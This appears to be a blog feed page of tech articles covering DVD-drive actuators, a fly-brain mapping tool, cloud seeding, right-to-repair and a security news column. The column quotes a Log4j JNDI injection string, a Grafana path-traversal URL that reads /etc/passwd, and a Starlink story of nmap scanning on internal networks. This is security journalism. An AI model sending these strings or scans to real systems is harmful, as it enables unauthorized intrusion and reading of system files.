Mini Linear Actuators From DVD Drive Parts

For many years now a source for some of the smallest and cheapest home made CNC mechanisms has been the seemingly never-ending supply of surplus CD and DVD-ROM drives. The linear actuator that moves the laser may not be the longest or the strongest, but it’s free, and we’ve seen plenty of little X-Y tables using CD drives. It’s these mechanisms that [Nemo404] has taken a little further, freeing the lead screw and motor from the drive chassis and placing them in a 3D-printed enclosure for a complete linear actuator that can be used in other projects. (Video, embedded below.)

There seems to be no positional feedback, not even the limit switch that would grace a typical CD drive, but aside from that it makes for a compact unit. There are two versions, one for a linear bearing and the other for the brass bushes found in CD drives. It’s unclear how strong the result is, but it appears to be strong enough to demonstrate lifting a small container of screws.

Should you need to make your own actuator then aside from the easy-to-obtain old CD drive the files can be found on Thingiverse. And introduce yourself to the world of CD drives for CNC machines by taking a look at this mill.

Thanks [BaldPower] for the tip!

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FlyBrainLab: Google Earth But For A Drosophila Fly’s Brain

In biology there are a couple of truly crucial model animals and insects. Not that they’re particularly good students, or pick up their own trash, but in the sense that they have become standard model organisms for research. Aside from genetic research, the FlyEM project seeks to fully map a little fly’s brain’s neural connections. This common fly, called drosophila melanogaster (or ‘lesser fruit fly’) has been the subject of a lot of genetic studies, but this study of its brain structure may provide insights in how our brain works as well.

Based on electron microscope images of thin slices of a drosophila brain, the three-dimensional structure of this tiny brain is reconstructed to not only determine the location of each neuron, but also their connections with other neurons. We know that about two-thirds of their brain is dedicated to processing the visual information from their relatively advanced compound eyes, but a lot is still unknown about how this is done, or how the brain’s structure develops.

If it’s always been your dream to tinker with a little fruit fly’s brain, you can do so yourself using the open source FlyBrainLab tool provided, along with the freely available data sources. This tool does not just allow one to visualize the drosophila brain in great detail, but also to create executable circuits and study their functionality. With neurobiology still a largely unexplored territory, this makes for an amazing tool to make this research accessible to anyone.

(Thanks for the tip, [Hernandi Krammes])

New Holographic Display Hacks The Light Field

[Petapixel] has an interesting post about a startup company’s new holographic display that claims to be “indistinguishable from reality.” The company behind it, Light Field Labs, claims their system requires no glasses and handles different angles.

You can see a bit in the [C|Net] video below, but — of course — being on YouTube, you can’t get a sense for how good the 3D effect is.

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Is Cloud Seeding Good, Bad, Or Ugly?

The Chinese Communist Party celebrated its centenary on the 1st of July, 2021. For such a celebration, clear skies and clean air would be ideal. For the capable nation-state, however, one needn’t hope against the whims of the weather. One can simply control it instead!

A recent paper released by Tsinghua University indicated that China had used cloud seeding in order to help create nicer conditions for its 100-year celebration. Weather modification techniques have been the source of some controversy, so let’s explore how they work and precisely what it was that China pulled off.

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This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.Starlink's debug output Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

PinePhone Malware Surprises Users, Raises Questions

On December 5th, someone by the IRC nickname of [ubuntu] joined the Pine64 Discord’s #pinephone channel through an IRC bridge. In the spirit of December gift-giving traditions, they have presented their fellow PinePhone users with an offering – a “Snake” game. What [ubuntu] supposedly designed had the potential to become a stock, out-of-the-box-installed application with a small but dedicated community of fans, modders and speedrunners.

Unfortunately, that would not be the alternate universe we live in, and all was not well with the package being shared along with a cheerful “hei gaiz I make snake gaem here is link www2-pinephnoe-games-com-tz replace dash with dot kthxbai”  announcement. Shockingly, it was a trojan! Beneath layers of Base64 and Bashfuscator we’d encounter shell code that could be in the “example usage” section of a modern-day thesaurus entry for the word “yeet“.

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Oh Deere, Is That Right To Repair Resolution Troubling You?

Over the years a constant in stories covering the right to repair has come from an unexpected direction, the farming community. Their John Deer tractors, a stalwart of North American agriculture, have become difficult to repair due to their parts using DRM restricting their use to authorised Deere agents. We’ve covered farmers using dubious software tools to do the job themselves, we’ve seen more than one legal challenge, and it’s reported that the price of a used Deere has suffered as farmers abandon their allegiance to newer green and yellow machines. Now comes news of a new front in the battle, as a socially responsible investment company has the tractor giant scrambling to block their shareholder motion on the matter.

Deere have not been slow in their fight-back against the threat of right-to-repair legislation and their becoming its unwilling poster-child, with CTO Jahmy Hindman going on record stating that 98% of repairs to Deere machinery can be done by the farmer themself (PDF, page 5) without need for a Deere agent. The question posed by supporters of the shareholder action is that given the substantial risk to investors of attracting a right-to-repair backlash, why would they run such a risk for the only 2% of repairs that remain? We’d be interested to know how Deere arrived at that figure, because given the relatively trivial nature of some of the examples we’ve seen it sounds far-fetched.

It’s beyond a doubt that Deere makes high-quality agricultural machinery that many farmers, including at least one Hackaday scribe, have used to raise a whole heap of crops. The kind of generational brand loyalty they have among their customers simply can’t be bought by clever marketing, it’s been built up over a century and a half. As spectators to its willful unpicking through this misguided use of their repair operation we hope that something like this shareholder move has the desired effect of bringing it to a close. After all, it won’t simply be of benefit to those who wish to repair their tractor, it might just rescue their now-damaged brand before it’s too late.

Curious about previous coverage on this ongoing story? This article from last year will give context.

Header image: Nheyob / CC BY-SA 4.0